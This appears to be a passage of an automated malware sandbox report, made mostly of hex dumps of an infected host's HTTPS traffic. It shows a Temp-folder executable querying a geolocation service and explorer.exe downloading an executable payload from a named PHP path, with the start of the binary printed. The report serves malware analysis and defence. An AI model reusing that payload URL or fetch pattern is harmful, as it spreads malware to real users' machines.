6a 6a 6a 6a 6a 6a b7 2f 7a 33 c1 24 d7 c7 13 71 76 ba cd 99 88 b1 51 8a e9 00 98 1f ed d7 69 6a Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj+=+jjjjjjjjjjjiQoGjjT\jjjjjjjjj+z~taGQV+jjjjjjjjtO""d"Q`T$PP_wjjjjjjj/z3$qvQij
2023-05-28 08:42:39 UTC	203	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	203	IN	Data Raw: 31 66 34 30 0d 0a 7e 7f 81 81 7f 81 7f 81 81 7f 80 80 7e 7f 7f 7e 7e 7f 80 81 7e 7e 81 7f 7f 80 81 7f 81 80 7f 80 80 80 7f 80 7e 7e 7f 7f 7f 7f 80 7f 7e 80 7f 80 7f 80 7e 7e 7f 7e 7e 7f 7f 7f 80 7f 7e 7f 7f 7f 80 80 81 7e 81 7f 7f 81 7f 80 80 80 81 81 7e 80 81 7e 7e 81 80 7f 7e 7f 7f 7e 80 7f 80 7e 7f 7f 7f 80 7e 7f 80 80 80 80 80 80 80 81 80 80 81 7f 7e 7e 80 7f 7e 7f 80 7e 80 7e 81 7f 7f 81 81 81 7f 80 81 80 7e 7e 81 7f 80 7f 7e 7f 7f 7f 7f 7f 7f 7e 7e 7e 7f 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 7e 7f 7f 7f 81 80 81 7f 81 7e 7f 7f 81 80 80 80 80 7f 80 7e 7f 7f 80 7f 7e 7f 80 7f 7f 80 81 7e 81 80 80 80 7f 7e 7e 80 7e 81 80 7e 7f 7f 7e 81 80 80 7f 7f 81 7e 7f 7f 80 80 7e 7e 7f 80 7f 81 80 81 80 80 81 7f 81 7e 7f 80 7f 7f Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:39 UTC	211	IN	Data Raw: 80 80 80 7f 7f 7e 80 7e 80 80 80 7e 7f 7f 7f 7f 81 7f 7f 81 7f 00 00 00 00 00 00 00 00 7e 81 80 81 7e 80 80 80 00 00 00 00 7f 81 80 7f 80 7f 81 7f 80 7f 7f 80 7e 80 7f 7e 7e 81 80 80 80 81 7f 7f 80 7e 7f 7e 81 7e 80 7f 7f 7e 7f 7f 7f 7e 81 7f 7f 80 7f 80 7f 80 81 7f 7e 7f 81 7f 7f 80 7f 80 7e 7e 80 7f 81 7f 81 7f 80 80 80 80 7f 7e 7f 7e 80 81 80 7f 7e 7e 81 7f 7e 81 7e 81 7e 7f 7f 81 80 81 7e 7f 7f 7e 7f 7e 81 81 7f 81 80 7f 7f 81 81 80 81 81 80 81 80 7f 00 00 00 00 ff ff ff ff ff ff ff ff ff f0 00 7f 80 00 00 0f 00 00 00 03 00 00 00 00 c0 00 00 00 80 00 00 03 80 00 00 03 00 00 00 03 00 00 00 01 80 00 00 01 00 00 00 03 80 00 00 03 80 00 00 00 80 00 00 03 00 00 00 03 c0 00 00 03 00 00 00 03 00 00 00 03 80 00 00 01 80 00 00 02 00 00 00 00 80 00 00 01 80 00 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:39 UTC	219	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	219	IN	Data Raw: 31 66 34 30 0d 0a 7e 80 00 7f 80 80 00 80 7f 7f 00 7e 7f 80 00 7e 7f 7f 00 81 80 7f 00 80 81 7e 00 80 7f 7f 00 7f 7f 81 00 7f 7f 7f 00 7f 80 81 00 7f 80 81 00 7f 80 7f 00 81 80 80 00 81 80 81 00 80 7f 80 00 80 81 80 00 81 80 7f 00 80 80 7f 00 7f 81 80 00 7f 81 81 00 7f 7e 81 00 7f 81 81 00 80 80 7f 00 7f 7f 80 00 7e 80 80 00 80 7e 7f 00 80 7f 80 00 80 7f 7f 00 7f 81 80 00 80 80 7f 00 80 7f 80 00 81 81 7e 00 7f 7e 7f 00 81 80 80 00 80 80 80 00 80 7e 7e 00 7e 80 80 00 80 80 80 00 7f 7f 80 00 7f 7f 7f 00 7f 81 81 00 81 7f 81 00 81 7f 7e 00 7f 80 7f 00 7f 81 80 00 7e 80 80 00 80 7e 81 00 80 7e 7e 00 7f 80 80 00 80 7f 7f 00 80 7f 7f 00 7f 7f 81 00 7f 80 7f 00 7f 7e 7e 00 80 80 7f 00 81 81 7e 00 7f 80 7f 00 7f 80 80 00 7e 81 7f 00 81 81 80 00 7f 81 7f 00 80 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:39 UTC	227	IN	Data Raw: 80 7f 7f 80 80 7f 80 80 80 7f 7e 81 7f 81 81 80 7f 80 80 7f 7f 7e 7f 7f 7e 80 7f 7f 81 80 7f 7f 81 80 7f 7e 80 7f 80 7f 80 80 81 80 81 7e 80 7f 7f 80 7f 81 7f 7f 81 81 7f 7f 7e 7f 80 7e 80 7e 7e 80 81 80 80 7e 80 80 7f 81 7f 81 81 7f 80 81 7f 7f 7f 7e 7e 80 7f 7e 80 7e 7f 80 7f 80 7f 7f 7e 7f 7f 7f 7f 80 80 7e 7f 80 7f 80 7f 7f 80 80 80 81 7f 81 7f 81 81 81 80 80 80 7f 81 81 7f 7e 7f 7f 80 7f 81 7f 80 81 80 80 81 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 80 81 80 80 7f 7f 7e 80 81 81 7f 7f 7f 7f 7f 7f 80 7f 7f 7e 80 81 80 80 81 80 80 7e 80 7e 7f 7e 7f 80 80 7e 7e 81 80 7f 7e 80 81 7f 81 80 7e 7f 80 80 81 7f 80 7f 80 7f 7e 80 7f 7f 7f 81 80 7f 7e 81 7e 7f 80 7f 7f 80 80 7f 7e 80 80 7e 7f 7f 7f 80 7e 7e 7f 80 7f 7e 81 7f 7f 81 7f 81 7f 80 7e Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:39 UTC	234	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	234	IN	Data Raw: 31 66 34 30 0d 0a 81 7f 80 81 7f 81 7f 80 7e 7f 81 7e 7e 7f 7f 7f 80 7f 80 7f 7f 7f 80 7f 81 81 7e 7f 80 7e 7f 80 81 81 80 80 7f 80 7f 80 80 80 7e 7f 7f 7e 80 00 00 00 00 00 00 00 00 7f 80 81 80 7e 7e 7e 7f 80 7f 81 80 81 7f 80 80 7e 7e 7f 81 7f 7e 7f 7e 80 81 80 81 81 81 81 7f 7f 7f 7f 7f 80 7e 7e 80 7e 7f 7e 80 80 81 80 80 81 80 7f 81 7f 7f 81 80 80 7f 7f 80 80 7f 80 7f 7f 7e 7f 7e 80 81 81 80 7f 7f 7f 81 80 7f 80 7f 7f 80 7f 7f 7e 7f 7f 81 7f 7f 81 7e 81 81 7f 81 80 7f 7f 81 7f 81 7e 81 7f 80 80 81 7e 7f 7f 80 81 80 7f 7f 7f 80 7f 80 80 7f 80 7f 00 00 00 00 7e 7f 80 80 80 7e 7f 81 7f 81 7f 7f 81 7f 80 81 80 80 7e 80 81 7f 7e 7f 81 7f 7f 80 80 80 7f 7f 7e 80 7f 7f 7f 7e 7f 80 80 7f 7e 7f 7e 7f 80 7e 7f 7e 7f 80 7e 7f 7e 81 7f 80 80 80 7e 80 7f 7e 7f 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:42:39 UTC	242	IN	Data Raw: 00 7e 7e 81 00 81 81 81 00 86 7b 84 00 7b 84 80 00 80 80 84 00 79 7e 7a 00 7c 7e 83 00 7b 7c 7c 00 80 85 7b 00 80 7c 7c 00 7c 84 79 00 7d 81 81 00 7e 7d 7b 00 82 7f 80 00 82 7c 81 00 80 80 84 00 85 81 7e 00 7f 84 7c 00 7f 7a 81 00 7f 7a 7e 00 80 84 83 00 80 82 81 00 85 7c 7b 00 7e 81 7b 00 81 7b 7e 00 80 80 80 00 80 7f 7d 00 84 7d 81 00 7b 7c 85 00 84 7e 7c 00 83 7d 83 00 82 82 85 00 84 80 86 00 83 7b 7c 00 84 83 82 00 81 7e 7c 00 83 7f 7e 00 7f 7d 7d 00 85 84 7b 00 7b 81 85 00 82 7e 7e 00 81 83 7c 00 7b 7d 84 00 83 82 7e 00 81 80 7f 00 81 84 7b 00 83 7d 80 00 85 7c 7f 00 82 7f 84 00 86 7c 83 00 7d 7c 83 00 7d 7c 84 00 83 84 84 00 80 84 83 00 7f 80 83 00 84 80 83 00 82 7f 85 00 80 7f 81 00 81 7b 7b 00 7a 7e 83 00 7f 7e 82 00 82 80 80 00 7d 81 7d 00 86 7f Data Ascii: ~~{{y~z\|~{\|\|{\|\|\|y}~}{\|~\|zz~\|{~{{~}}{\|~\|}{\|~\|~}}{{~~\|{}~{}\|\|}\|}\|{{z~~}}
2023-05-28 08:42:39 UTC	250	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	250	IN	Data Raw: 31 66 34 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 7e 7c 7f 7a 7d 7f 7a 7e 83 7c 82 80 7c 80 84 7c 7c 7e 81 7a 7f 7f 7f 7c 7e 82 85 7e 7f 7e 7b 81 7d 7e 84 81 84 80 83 7e 84 7f 7b 85 7e 7e 81 7a 7f 81 80 7c 81 7a 85 7e 7f 80 83 81 81 7d 7f 80 80 80 85 7f 7e 7a 7e 7a 7f 7b 7e 84 83 81 7e 7f 7a 81 7e 7e 7b 82 82 7a 7e 7c 86 7e 7d 79 7c 81 7e 7f 81 84 7d 7c 83 83 84 7c 84 7d 7b 7e 83 7b 7a 79 7d 7e 7f 80 80 7f 7c 81 84 81 7b 80 7f 7c 7d 7b 79 7e 7f 81 85 85 82 86 7b 79 7b 83 81 7f 7e 83 80 85 7b 83 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 80 83 85 85 7c 84 81 7f 7f 7f 83 84 83 7d 82 7f 7b 80 80 7b 7d 82 7d 7b 7e 7f 84 80 7f 80 7b 85 86 83 7d 80 7c 86 84 7c 82 81 7f 82 82 81 7f 83 83 81 84 85 7c 7c 82 7f Data Ascii: 1f40\|~\|z}z~\|\|\|\|~z\|~~~{}~~{~~z\|z~}~z~z{~~z~~{z~\|~}y\|~}\|\|}{~{zy}~\|{\|}{y~{y{~{\|\|}{{}}{~{}\|\|\|\|
2023-05-28 08:42:39 UTC	258	IN	Data Raw: 7f 84 83 81 84 84 7c 80 82 80 85 80 7e 7e 81 82 7e 7c 7c 7d 82 7e 80 7c 83 83 82 7d 86 00 00 00 00 00 00 00 00 00 00 00 00 80 7a 7c 7d 82 81 82 81 7c 84 81 83 7d 81 82 7f 7d 82 7e 81 82 82 7e 81 7d 7f 7d 7f 7d 82 86 83 7f 80 85 7f 7e 83 84 84 7b 82 7f 7f 7e 81 80 83 7f 80 7f 7a 7e 7f 7f 7c 7e 80 7e 80 84 82 7e 83 81 83 7f 82 84 7e 81 81 82 7f 7f 7f 82 7d 7d 80 7f 84 86 84 7c 80 7f 82 84 7b 79 82 7d 7c 7a 81 82 7c 80 82 7e 7b 81 7e 80 7c 7b 81 7c 80 7d 81 00 00 00 00 00 00 00 00 00 00 00 00 7c 80 7b 84 81 80 85 7c 86 81 83 82 80 7e 7f 83 7f 7c 80 85 7f 82 85 85 81 7c 80 7b 82 7a 82 83 7e 82 7c 7e 7c 7d 7f 81 7e 7e 7f 84 84 81 7f 83 79 7d 7f 81 84 7d 82 7a 7b 81 82 7f 81 7b 80 7f 7c 83 7e 81 85 7b 7e 7f 85 7c 7b 80 7c 7e 7d 82 7e 82 7e 83 7b 7c 84 7f 7e 82 Data Ascii: \|~~~\|\|}~\|}z\|}\|}}~~}}}~{~z~\|~~~~}}\|{y}\|z\|~{~\|{\|}\|{\|~\|\|{z~\|~\|}~~y}}z{{\|~{~\|{\|~}~~{\|~
2023-05-28 08:42:39 UTC	266	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	266	IN	Data Raw: 31 66 34 30 0d 0a 00 65 00 6d 00 6f 00 20 00 62 00 6f 00 74 00 75 00 64 00 75 00 68 00 65 00 73 00 65 00 6e 00 6f 00 20 00 6a 00 65 00 6e 00 75 00 77 00 75 00 6e 00 6f 00 72 00 20 00 66 00 61 00 68 00 75 00 20 00 77 00 6f 00 66 00 6f 00 74 00 65 00 6c 00 69 00 63 00 1e 00 52 00 61 00 62 00 65 00 6a 00 75 00 67 00 6f 00 68 00 20 00 64 00 75 00 70 00 69 00 20 00 67 00 6f 00 79 00 69 00 67 00 69 00 6c 00 6f 00 68 00 61 00 70 00 61 00 70 00 75 00 6c 00 24 00 4b 00 69 00 6d 00 6f 00 6b 00 69 00 6e 00 65 00 7a 00 20 00 76 00 69 00 7a 00 20 00 6d 00 65 00 6d 00 6f 00 62 00 75 00 20 00 67 00 69 00 76 00 69 00 78 00 69 00 64 00 6f 00 64 00 69 00 62 00 75 00 6d 00 61 00 76 00 0f 00 5a 00 69 00 6e 00 6f 00 6d 00 61 00 6c 00 75 00 6a 00 75 00 78 00 6f 00 70 00 61 00 Data Ascii: 1f40emo botuduheseno jenuwunor fahu wofotelicRabejugoh dupi goyigilohapapul$Kimokinez viz memobu givixidodibumavZinomalujuxopa
2023-05-28 08:42:39 UTC	274	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-05-28 08:42:39 UTC	281	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:39 UTC	281	IN	Data Raw: 33 66 66 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3ff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49702	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:39 UTC	282	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:42:39 UTC	282	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:42:39 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:42:39 UTC	283	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49735	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:00 UTC	586	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:00 UTC	586	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:00 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:00 UTC	587	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49747	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:03 UTC	587	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:03 UTC	587	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:03 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:03 UTC	588	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49749	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:03 UTC	588	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:03 UTC	588	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:03 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:03 UTC	589	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49753	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:03 UTC	589	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:03 UTC	590	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:03 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:03 UTC	590	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49752	217.174.148.28	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:03 UTC	590	OUT	GET /tmp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: speedlab.com.eg
2023-05-28 08:43:04 UTC	591	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 08:52:15 GMT Server: Apache X-Powered-By: PHP/5.6.40 Content-Description: File Transfer Content-Disposition: attachment; filename=1acd21ad.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Connection: close Transfer-Encoding: chunked Content-Type: application/octet-stream
2023-05-28 08:43:04 UTC	591	IN	Data Raw: 33 64 38 31 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 cd 0e 63 00 00 00 00 00 Data Ascii: 3d81MZ@!L!This program cannot be run in DOS mode.$&bbb\|\|\|HEXkb\|c\|c\|cRichbPELGc
